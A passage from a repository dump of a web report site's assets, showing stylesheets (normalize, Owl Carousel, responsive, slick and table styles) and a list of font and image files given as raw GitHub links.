33 |
34 | /**
35 | * Correct the font size and margin on `h1` elements within `section` and
36 | * `article` contexts in Chrome, Firefox, and Safari.
37 | */
38 |
39 | h1 {
40 | font-size: 2em;
41 | margin: 0.67em 0;
42 | }
43 |
44 | /* Grouping content
45 | ========================================================================== */
46 |
47 | /**
48 | * Add the correct display in IE 9-.
49 | * 1. Add the correct display in IE.
50 | */
51 |
52 | figcaption,
53 | figure,
54 | main { /* 1 */
55 | display: block;
56 | }
57 |
58 | /**
59 | * Add the correct margin in IE 8.
60 | */
61 |
62 | figure {
63 | margin: 1em 40px;
64 | }
65 |
66 | /**
67 | * 1. Add the correct box sizing in Firefox.
68 | * 2. Show the overflow in Edge and IE.
69 | */
70 |
71 | hr {
72 | box-sizing: content-box; /* 1 */
73 | height: 0; /* 1 */
74 | overflow: visible; /* 2 */
75 | }
76 |
77 | /**
78 | * 1. Correct the inheritance and scaling of font size in all browsers.
79 | * 2. Correct the odd `em` font sizing in all browsers.
80 | */
81 |
82 | pre {
83 | font-family: monospace, monospace; /* 1 */
84 | font-size: 1em; /* 2 */
85 | }
86 |
87 | /* Text-level semantics
88 | ========================================================================== */
89 |
90 | /**
91 | * 1. Remove the gray background on active links in IE 10.
92 | * 2. Remove gaps in links underline in iOS 8+ and Safari 8+.
93 | */
94 |
95 | a {
96 | background-color: transparent; /* 1 */
97 | -webkit-text-decoration-skip: objects; /* 2 */
98 | }
99 |
100 | /**
101 | * 1. Remove the bottom border in Chrome 57- and Firefox 39-.
102 | * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.
103 | */
104 |
105 | abbr[title] {
106 | border-bottom: none; /* 1 */
107 | text-decoration: underline; /* 2 */
108 | text-decoration: underline dotted; /* 2 */
109 | }
110 |
111 | /**
112 | * Prevent the duplicate application of `bolder` by the next rule in Safari 6.
113 | */
114 |
115 | b,
116 | strong {
117 | font-weight: inherit;
118 | }
119 |
120 | /**
121 | * Add the correct font weight in Chrome, Edge, and Safari.
122 | */
123 |
124 | b,
125 | strong {
126 | font-weight: bolder;
127 | }
128 |
129 | /**
130 | * 1. Correct the inheritance and scaling of font size in all browsers.
131 | * 2. Correct the odd `em` font sizing in all browsers.
132 | */
133 |
134 | code,
135 | kbd,
136 | samp {
137 | font-family: monospace, monospace; /* 1 */
138 | font-size: 1em; /* 2 */
139 | }
140 |
141 | /**
142 | * Add the correct font style in Android 4.3-.
143 | */
144 |
145 | dfn {
146 | font-style: italic;
147 | }
148 |
149 | /**
150 | * Add the correct background and color in IE 9-.
151 | */
152 |
153 | mark {
154 | background-color: #ff0;
155 | color: #000;
156 | }
157 |
158 | /**
159 | * Add the correct font size in all browsers.
160 | */
161 |
162 | small {
163 | font-size: 80%;
164 | }
165 |
166 | /**
167 | * Prevent `sub` and `sup` elements from affecting the line height in
168 | * all browsers.
169 | */
170 |
171 | sub,
172 | sup {
173 | font-size: 75%;
174 | line-height: 0;
175 | position: relative;
176 | vertical-align: baseline;
177 | }
178 |
179 | sub {
180 | bottom: -0.25em;
181 | }
182 |
183 | sup {
184 | top: -0.5em;
185 | }
186 |
187 | /* Embedded content
188 | ========================================================================== */
189 |
190 | /**
191 | * Add the correct display in IE 9-.
192 | */
193 |
194 | audio,
195 | video {
196 | display: inline-block;
197 | }
198 |
199 | /**
200 | * Add the correct display in iOS 4-7.
201 | */
202 |
203 | audio:not([controls]) {
204 | display: none;
205 | height: 0;
206 | }
207 |
208 | /**
209 | * Remove the border on images inside links in IE 10-.
210 | */
211 |
212 | img {
213 | border-style: none;
214 | }
215 |
216 | /**
217 | * Hide the overflow in IE.
218 | */
219 |
220 | svg:not(:root) {
221 | overflow: hidden;
222 | }
223 |
224 | /* Forms
225 | ========================================================================== */
226 |
227 | /**
228 | * Remove the margin in Firefox and Safari.
229 | */
230 |
231 | button,
232 | input,
233 | optgroup,
234 | select,
235 | textarea {
236 | margin: 0;
237 | }
238 |
239 | /**
240 | * Show the overflow in IE.
241 | * 1. Show the overflow in Edge.
242 | */
243 |
244 | button,
245 | input { /* 1 */
246 | overflow: visible;
247 | }
248 |
249 | /**
250 | * Remove the inheritance of text transform in Edge, Firefox, and IE.
251 | * 1. Remove the inheritance of text transform in Firefox.
252 | */
253 |
254 | button,
255 | select { /* 1 */
256 | text-transform: none;
257 | }
258 |
259 | /**
260 | * 1. Prevent a WebKit bug where (2) destroys native `audio` and `video`
261 | * controls in Android 4.
262 | * 2. Correct the inability to style clickable types in iOS and Safari.
263 | */
264 |
265 | button,
266 | html [type="button"], /* 1 */
267 | [type="reset"],
268 | [type="submit"] {
269 | -webkit-appearance: button; /* 2 */
270 | }
271 |
272 | /**
273 | * Remove the inner border and padding in Firefox.
274 | */
275 |
276 | button::-moz-focus-inner,
277 | [type="button"]::-moz-focus-inner,
278 | [type="reset"]::-moz-focus-inner,
279 | [type="submit"]::-moz-focus-inner {
280 | border-style: none;
281 | padding: 0;
282 | }
283 |
284 | /**
285 | * Restore the focus styles unset by the previous rule.
286 | */
287 |
288 | button:-moz-focusring,
289 | [type="button"]:-moz-focusring,
290 | [type="reset"]:-moz-focusring,
291 | [type="submit"]:-moz-focusring {
292 | outline: 1px dotted ButtonText;
293 | }
294 |
295 | /**
296 | * 1. Correct the text wrapping in Edge and IE.
297 | * 2. Correct the color inheritance from `fieldset` elements in IE.
298 | * 3. Remove the padding so developers are not caught out when they zero out
299 | * `fieldset` elements in all browsers.
300 | */
301 |
302 | legend {
303 | box-sizing: border-box; /* 1 */
304 | color: inherit; /* 2 */
305 | display: table; /* 1 */
306 | max-width: 100%; /* 1 */
307 | padding: 0; /* 3 */
308 | white-space: normal; /* 1 */
309 | }
310 |
311 | /**
312 | * 1. Add the correct display in IE 9-.
313 | * 2. Add the correct vertical alignment in Chrome, Firefox, and Opera.
314 | */
315 |
316 | progress {
317 | display: inline-block; /* 1 */
318 | vertical-align: baseline; /* 2 */
319 | }
320 |
321 | /**
322 | * Remove the default vertical scrollbar in IE.
323 | */
324 |
325 | textarea {
326 | overflow: auto;
327 | }
328 |
329 | /**
330 | * 1. Add the correct box sizing in IE 10-.
331 | * 2. Remove the padding in IE 10-.
332 | */
333 |
334 | [type="checkbox"],
335 | [type="radio"] {
336 | box-sizing: border-box; /* 1 */
337 | padding: 0; /* 2 */
338 | }
339 |
340 | /**
341 | * Correct the cursor style of increment and decrement buttons in Chrome.
342 | */
343 |
344 | [type="number"]::-webkit-inner-spin-button,
345 | [type="number"]::-webkit-outer-spin-button {
346 | height: auto;
347 | }
348 |
349 | /**
350 | * 1. Correct the odd appearance in Chrome and Safari.
351 | * 2. Correct the outline style in Safari.
352 | */
353 |
354 | [type="search"] {
355 | -webkit-appearance: textfield; /* 1 */
356 | outline-offset: -2px; /* 2 */
357 | }
358 |
359 | /**
360 | * Remove the inner padding and cancel buttons in Chrome and Safari on macOS.
361 | */
362 |
363 | [type="search"]::-webkit-search-cancel-button,
364 | [type="search"]::-webkit-search-decoration {
365 | -webkit-appearance: none;
366 | }
367 |
368 | /**
369 | * 1. Correct the inability to style clickable types in iOS and Safari.
370 | * 2. Change font properties to `inherit` in Safari.
371 | */
372 |
373 | ::-webkit-file-upload-button {
374 | -webkit-appearance: button; /* 1 */
375 | font: inherit; /* 2 */
376 | }
377 |
378 | /* Interactive
379 | ========================================================================== */
380 |
381 | /*
382 | * Add the correct display in IE 9-.
383 | * 1. Add the correct display in Edge, IE, and Firefox.
384 | */
385 |
386 | details, /* 1 */
387 | menu {
388 | display: block;
389 | }
390 |
391 | /*
392 | * Add the correct display in all browsers.
393 | */
394 |
395 | summary {
396 | display: list-item;
397 | }
398 |
399 | /* Scripting
400 | ========================================================================== */
401 |
402 | /**
403 | * Add the correct display in IE 9-.
404 | */
405 |
406 | canvas {
407 | display: inline-block;
408 | }
409 |
410 | /**
411 | * Add the correct display in IE.
412 | */
413 |
414 | template {
415 | display: none;
416 | }
417 |
418 | /* Hidden
419 | ========================================================================== */
420 |
421 | /**
422 | * Add the correct display in IE 10-.
423 | */
424 |
425 | [hidden] {
426 | display: none;
427 | }
428 |
--------------------------------------------------------------------------------
/report/css/owl.carousel.min.css:
--------------------------------------------------------------------------------
1 | /**
2 | * Owl Carousel v2.3.3
3 | * Copyright 2013-2018 David Deutsch
4 | * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
5 | */
6 | .owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-callout:none}.owl-carousel .owl-item img{display:block;width:100%}.owl-carousel .owl-dots.disabled,.owl-carousel .owl-nav.disabled{display:none}.no-js .owl-carousel,.owl-carousel.owl-loaded{display:block}.owl-carousel .owl-dot,.owl-carousel .owl-nav .owl-next,.owl-carousel .owl-nav .owl-prev{cursor:pointer;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel .owl-nav button.owl-next,.owl-carousel .owl-nav button.owl-prev,.owl-carousel button.owl-dot{background:0 0;color:inherit;border:none;padding:0!important;font:inherit}.owl-carousel.owl-loading{opacity:0;display:block}.owl-carousel.owl-hidden{opacity:0}.owl-carousel.owl-refresh .owl-item{visibility:hidden}.owl-carousel.owl-drag .owl-item{-ms-touch-action:none;touch-action:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel.owl-grab{cursor:move;cursor:grab}.owl-carousel.owl-rtl{direction:rtl}.owl-carousel.owl-rtl .owl-item{float:right}.owl-carousel .animated{animation-duration:1s;animation-fill-mode:both}.owl-carousel .owl-animated-in{z-index:0}.owl-carousel .owl-animated-out{z-index:1}.owl-carousel .fadeOut{animation-name:fadeOut}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}.owl-height{transition:height .5s ease-in-out}.owl-carousel .owl-item .owl-lazy{opacity:0;transition:opacity .4s ease}.owl-carousel .owl-item img.owl-lazy{transform-style:preserve-3d}.owl-carousel .owl-video-wrapper{position:relative;height:100%;background:#000}.owl-carousel .owl-video-play-icon{position:absolute;height:80px;width:80px;left:50%;top:50%;margin-left:-40px;margin-top:-40px;background:url(owl.video.play.png) no-repeat;cursor:pointer;z-index:1;-webkit-backface-visibility:hidden;transition:transform .1s ease}.owl-carousel .owl-video-play-icon:hover{-ms-transform:scale(1.3,1.3);transform:scale(1.3,1.3)}.owl-carousel .owl-video-playing .owl-video-play-icon,.owl-carousel .owl-video-playing .owl-video-tn{display:none}.owl-carousel .owl-video-tn{opacity:0;height:100%;background-position:center center;background-repeat:no-repeat;background-size:contain;transition:opacity .4s ease}.owl-carousel .owl-video-frame{position:relative;z-index:1;height:100%;width:100%}
--------------------------------------------------------------------------------
/report/css/responsive.css:
--------------------------------------------------------------------------------
1 |
2 |
3 | /*--------------------------------------------------------------------- File Name: responsive.css ---------------------------------------------------------------------*/
4 |
5 |
6 | /*------------------------------------------------------------------- 991px x 768px ---------------------------------------------------------------------*/
7 |
8 | @media (min-width: 1200px) and (max-width: 1500px) {
9 | .projects::after {
10 | width: 262px;
11 | }
12 | }
13 |
14 | @media (min-width: 992px) and (max-width: 1199px) {
15 | .testimonial_Carousel .test_box p {
16 | font-size: 16px;
17 | padding: 29px;
18 | }
19 | .text-bg h1 {
20 | font-size: 36px;
21 | line-height: 59px;
22 | }
23 | .projects::after {
24 | background: transparent;
25 | }
26 | .copyright::after {
27 | background: transparent;
28 | }
29 | }
30 |
31 | @media (min-width: 768px) and (max-width: 991px) {
32 | .projects::after {
33 | background: transparent;
34 | }
35 | .copyright::after {
36 | background: transparent;
37 | }
38 | .navigation.navbar-dark .navbar-nav .nav-link {
39 | padding: 0 14px;
40 | }
41 | .text-bg h1 {
42 | padding-top: 0px;
43 | font-size: 28px;
44 | line-height: 38px;
45 | }
46 | .text-bg {
47 | padding-right: 108px;
48 | }
49 | .banner_main {
50 | padding: 30px 0 190px 0;
51 | }
52 | }
53 |
54 | @media (min-width: 576px) and (max-width: 767px) {
55 | .head_top {
56 | background: #0891f8;
57 | }
58 | .mean-container .mean-bar {
59 | margin-top: 0px;
60 | }
61 | .text-bg h1 {
62 | font-size: 50px;
63 | }
64 | .text-bg {
65 | padding-right: 0;
66 | }
67 | .text-img {
68 | padding-top: 30px;
69 | }
70 | .main_form {
71 | margin: 0;
72 | }
73 | .Testimonial {
74 | background: #0891f8;
75 | }
76 | .Testimonial_box {
77 | padding: 20px;
78 | }
79 | .Testimonial_box p {
80 | padding-right: 0px;
81 | }
82 | .Testimonial_box i::after {
83 | border: inherit;
84 | }
85 | .cont h3 {
86 | font-size: 34px;
87 | line-height: 52px;
88 | }
89 | .navigation.navbar {
90 | float: right;
91 | display: inherit !important;
92 | padding: 0;
93 | width: 100%;
94 | }
95 | .navigation .navbar-collapse {
96 | background: #fff;
97 | padding: 20px;
98 | margin-top: 46px;
99 | position: absolute;
100 | width: 100%;
101 | margin-right: 20px;
102 | z-index: 999;
103 | }
104 | .navigation.navbar-dark .navbar-nav .nav-link {
105 | padding: 10px 0;
106 | color: #000;
107 | }
108 | .navigation.navbar-dark .navbar-toggler {
109 | border: inherit;
110 | float: right;
111 | padding-top: 6px;
112 | }
113 | .navigation.navbar-dark .navbar-toggler-icon {
114 | background: url(../images/menu_icon.png);
115 | background-repeat: no-repeat;
116 | }
117 | .projects::after {
118 | background: transparent;
119 | }
120 | .copyright::after {
121 | background: transparent;
122 | }
123 | }
124 |
125 | @media (max-width: 575px) {
126 | .head_top {
127 | background: #0891f8;
128 | }
129 | .header {
130 | padding: 12px 0px 0px 0px;
131 | }
132 | .logo {
133 | text-align: center !important;
134 | padding-bottom: 6px;
135 | float: left;
136 | }
137 | .text-bg h1 {
138 | font-size: 33px;
139 | line-height: 51px;
140 | }
141 | .text-bg {
142 | padding-right: 0;
143 | }
144 | .text-img {
145 | padding-top: 30px;
146 | }
147 | .titlepage h2 {
148 | font-size: 35px;
149 | line-height: 50px;
150 | }
151 | .business .titlepage span {
152 | font-size: 23px;
153 | line-height: 28px;
154 | }
155 | .banner_main {
156 | padding: 50px 0;
157 | }
158 | .projects::after {
159 | background: transparent;
160 | }
161 | .Testimonial {
162 | background: #0891f8;
163 | }
164 | .Testimonial_box {
165 | padding: 20px;
166 | }
167 | .Testimonial_box p {
168 | padding-right: 0px;
169 | }
170 | .Testimonial_box i::after {
171 | border: inherit;
172 | }
173 | .cont h3 {
174 | font-size: 30px;
175 | line-height: 45px;
176 | }
177 | .multi {
178 | font-size: 33px;
179 | }
180 | .main_form {
181 | padding: 25px;
182 | margin: 0px 0px;
183 | }
184 | .copyright::after {
185 | background: transparent;
186 | }
187 | .navigation.navbar {
188 | float: right;
189 | display: inherit !important;
190 | padding: 0;
191 | width: 100%;
192 | margin-top: -45px;
193 | }
194 | .navigation .navbar-collapse {
195 | background: #fff;
196 | padding: 20px;
197 | margin-top: 46px;
198 | position: absolute;
199 | width: 100%;
200 | margin-right: 20px;
201 | z-index: 999;
202 | }
203 | .navigation.navbar-dark .navbar-nav .nav-link {
204 | padding: 10px 0;
205 | color: #000;
206 | }
207 | .navigation.navbar-dark .navbar-toggler {
208 | float: right;
209 | margin-right: 2px;
210 | border: inherit;
211 | }
212 | .testimonial_box {
213 | padding: 0px 19px 40px 20px;
214 | }
215 | .navigation.navbar-dark .navbar-toggler-icon {
216 | background: url(../images/menu_icon.png);
217 | background-repeat: no-repeat;
218 | }
219 | }
220 |
221 |
--------------------------------------------------------------------------------
/report/css/slick.css:
--------------------------------------------------------------------------------
1 | /*---------------------------------------------------------------------
2 | File Name: slick.css
3 | ---------------------------------------------------------------------*/
4 |
5 | .slick-slider {
6 | position: relative;
7 | display: block;
8 | -moz-box-sizing: border-box;
9 | box-sizing: border-box;
10 | -webkit-user-select: none;
11 | -moz-user-select: none;
12 | -ms-user-select: none;
13 | user-select: none;
14 | -webkit-touch-callout: none;
15 | -khtml-user-select: none;
16 | -ms-touch-action: pan-y;
17 | touch-action: pan-y;
18 | -webkit-tap-highlight-color: transparent;
19 | }
20 |
21 | .slick-list {
22 | position: relative;
23 | display: block;
24 | overflow: hidden;
25 | margin: 0;
26 | padding: 0;
27 | }
28 |
29 | .slick-list:focus {
30 | outline: none;
31 | }
32 |
33 | .slick-list.dragging {
34 | cursor: pointer;
35 | cursor: hand;
36 | }
37 |
38 | .slick-slider .slick-track,
39 | .slick-slider .slick-list {
40 | -webkit-transform: translate3d(0, 0, 0);
41 | -moz-transform: translate3d(0, 0, 0);
42 | -ms-transform: translate3d(0, 0, 0);
43 | -o-transform: translate3d(0, 0, 0);
44 | transform: translate3d(0, 0, 0);
45 | }
46 |
47 | .slick-track {
48 | position: relative;
49 | top: 0;
50 | left: 0;
51 | display: block;
52 | }
53 |
54 | .slick-track:before,
55 | .slick-track:after {
56 | display: table;
57 | content: '';
58 | }
59 |
60 | .slick-track:after {
61 | clear: both;
62 | }
63 |
64 | .slick-loading .slick-track {
65 | visibility: hidden;
66 | }
67 |
68 | .slick-slide {
69 | display: none;
70 | float: left;
71 | height: 100%;
72 | min-height: 1px;
73 | }
74 |
75 | [dir='rtl'] .slick-slide {
76 | float: right;
77 | }
78 |
79 | .slick-slide img {
80 | display: block;
81 | }
82 |
83 | .slick-slide.slick-loading img {
84 | display: none;
85 | }
86 |
87 | .slick-slide.dragging img {
88 | pointer-events: none;
89 | }
90 |
91 | .slick-initialized .slick-slide {
92 | display: block;
93 | }
94 |
95 | .slick-loading .slick-slide {
96 | visibility: hidden;
97 | }
98 |
99 | .slick-vertical .slick-slide {
100 | display: block;
101 | height: auto;
102 | border: 1px solid transparent;
103 | }
104 |
105 | .slick-arrow.slick-hidden {
106 | display: none;
107 | }
108 |
109 |
--------------------------------------------------------------------------------
/report/css/table.css:
--------------------------------------------------------------------------------
1 | .completed {
2 | background-color: greenyellow;
3 | }
4 |
5 | .notcompleted {
6 | background-color:beige;
7 | }
8 |
9 |
10 | .bigtableLeft {
11 | position: absolute;
12 | top: 30%;
13 | left: 50%;
14 | }
15 |
16 | .bigtableRight {
17 | position: absolute;
18 | top: 20%;
19 | left: 68%;
20 | padding-right: 10px;
21 | }
22 |
23 | .headers {
24 | font-size: 24px;
25 | font-weight: bold;
26 | padding-bottom: 10px;
27 | }
28 | table {
29 | width: 100%;
30 | border-collapse: collapse;
31 | overflow: hidden;
32 | border-radius: 5px;
33 | }
34 |
35 | th,
36 | td {
37 | background-color: rgba(255,255,255,0.2);
38 |
39 | }
40 |
41 | th {
42 | text-align: left;
43 | color: #fff;
44 | }
45 |
46 | thead {
47 | th {
48 | padding-left: 10px;
49 | color:darkslategrey;
50 | font-weight: bold;
51 | font-size: large;
52 | text-align: center; }
53 | }
54 |
55 | tbody {
56 |
57 | td {
58 | position: relative;
59 | padding-left: 10px;
60 | font-weight: bold;
61 | font-size: large;
62 | }
63 | }
64 |
65 | .spacedTable {
66 | border-collapse:separate;
67 | border-spacing:0 10px;
68 | }
--------------------------------------------------------------------------------
/report/css/table2.css:
--------------------------------------------------------------------------------
1 | .completed {
2 | background-color: greenyellow;
3 | border-top: 2px solid red;
4 | border-right: 2px solid red;
5 | border-left: 2px solid red;
6 | border-bottom: 2px solid red;
7 | font-size: small;
8 | }
9 |
10 | .notcompleted {
11 | background-color:beige;
12 | font-size: small;
13 | }
14 |
15 | .foundation {
16 | background-color: aliceblue;
17 | border-right: 5px solid red;
18 | font-size: small;
19 | }
20 |
21 | .strategic {
22 | background-color: cornsilk;
23 | border-right: 5px solid red;
24 | font-size: small;
25 | }
26 |
27 | .advanced {
28 | background-color: aquamarine;
29 | border-right: 5px solid red;
30 | font-size: small;
31 | }
32 |
33 |
34 | table {
35 | border-collapse: collapse;
36 | overflow: hidden;
37 | box-shadow: 0 0 20px rgba(0,0,0,0.1);
38 | }
39 |
40 | th,
41 | td {
42 | background-color: rgba(255,255,255,0.2);
43 | }
44 |
45 | th {
46 | text-align: left;
47 | color: #fff;
48 | }
49 |
50 | .table-header {
51 | background-color: #55608f;
52 | color: #fff;
53 | }
54 |
55 |
--------------------------------------------------------------------------------
/report/fonts/FontAwesome.otf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/FontAwesome.otf
--------------------------------------------------------------------------------
/report/fonts/IcoMoon-Free.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/IcoMoon-Free.ttf
--------------------------------------------------------------------------------
/report/fonts/Poppins-Black.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-Black.ttf
--------------------------------------------------------------------------------
/report/fonts/Poppins-BlackItalic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-BlackItalic.ttf
--------------------------------------------------------------------------------
/report/fonts/Poppins-Bold.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-Bold.ttf
--------------------------------------------------------------------------------
/report/fonts/Poppins-BoldItalic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-BoldItalic.ttf
--------------------------------------------------------------------------------
/report/fonts/Poppins-ExtraBold.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-ExtraBold.ttf
--------------------------------------------------------------------------------
/report/fonts/Poppins-ExtraBoldItalic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-ExtraBoldItalic.ttf
--------------------------------------------------------------------------------
/report/fonts/Poppins-ExtraLight.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-ExtraLight.ttf
--------------------------------------------------------------------------------
/report/fonts/Poppins-ExtraLightItalic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-ExtraLightItalic.ttf
--------------------------------------------------------------------------------
/report/fonts/Poppins-Italic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-Italic.ttf
--------------------------------------------------------------------------------
/report/fonts/Poppins-Light.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-Light.ttf
--------------------------------------------------------------------------------
/report/fonts/Poppins-LightItalic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-LightItalic.ttf
--------------------------------------------------------------------------------
/report/fonts/Poppins-Medium.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-Medium.ttf
--------------------------------------------------------------------------------
/report/fonts/Poppins-MediumItalic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-MediumItalic.ttf
--------------------------------------------------------------------------------
/report/fonts/Poppins-Regular.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-Regular.ttf
--------------------------------------------------------------------------------
/report/fonts/Poppins-SemiBold.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-SemiBold.ttf
--------------------------------------------------------------------------------
/report/fonts/Poppins-SemiBoldItalic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-SemiBoldItalic.ttf
--------------------------------------------------------------------------------
/report/fonts/Poppins-Thin.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-Thin.ttf
--------------------------------------------------------------------------------
/report/fonts/Poppins-ThinItalic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/Poppins-ThinItalic.ttf
--------------------------------------------------------------------------------
/report/fonts/fontawesome-webfont.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/fontawesome-webfont.eot
--------------------------------------------------------------------------------
/report/fonts/fontawesome-webfont.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/fontawesome-webfont.ttf
--------------------------------------------------------------------------------
/report/fonts/fontawesome-webfont.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/fontawesome-webfont.woff
--------------------------------------------------------------------------------
/report/fonts/fontawesome-webfont.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/fonts/fontawesome-webfont.woff2
--------------------------------------------------------------------------------
/report/images/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/.DS_Store
--------------------------------------------------------------------------------
/report/images/Security-Maturity-Assessment.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/Security-Maturity-Assessment.png
--------------------------------------------------------------------------------
/report/images/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/banner.png
--------------------------------------------------------------------------------
/report/images/banner1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/banner1.png
--------------------------------------------------------------------------------
/report/images/body_bg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/body_bg.png
--------------------------------------------------------------------------------
/report/images/bottom.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/bottom.png
--------------------------------------------------------------------------------
/report/images/midil.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/midil.png
--------------------------------------------------------------------------------
/report/images/tech-image-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/tech-image-1.png
--------------------------------------------------------------------------------
/report/images/tech-image-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/tech-image-2.png
--------------------------------------------------------------------------------
/report/images/tech-image-3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/tech-image-3.png
--------------------------------------------------------------------------------
/report/images/tech-image-4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/tech-image-4.png
--------------------------------------------------------------------------------
/report/images/tech-image-5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/tech-image-5.png
--------------------------------------------------------------------------------
/report/images/tech-image-6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/tech-image-6.png
--------------------------------------------------------------------------------
/report/images/tech-image-7.png:
--------------------------------------------------------------------------------
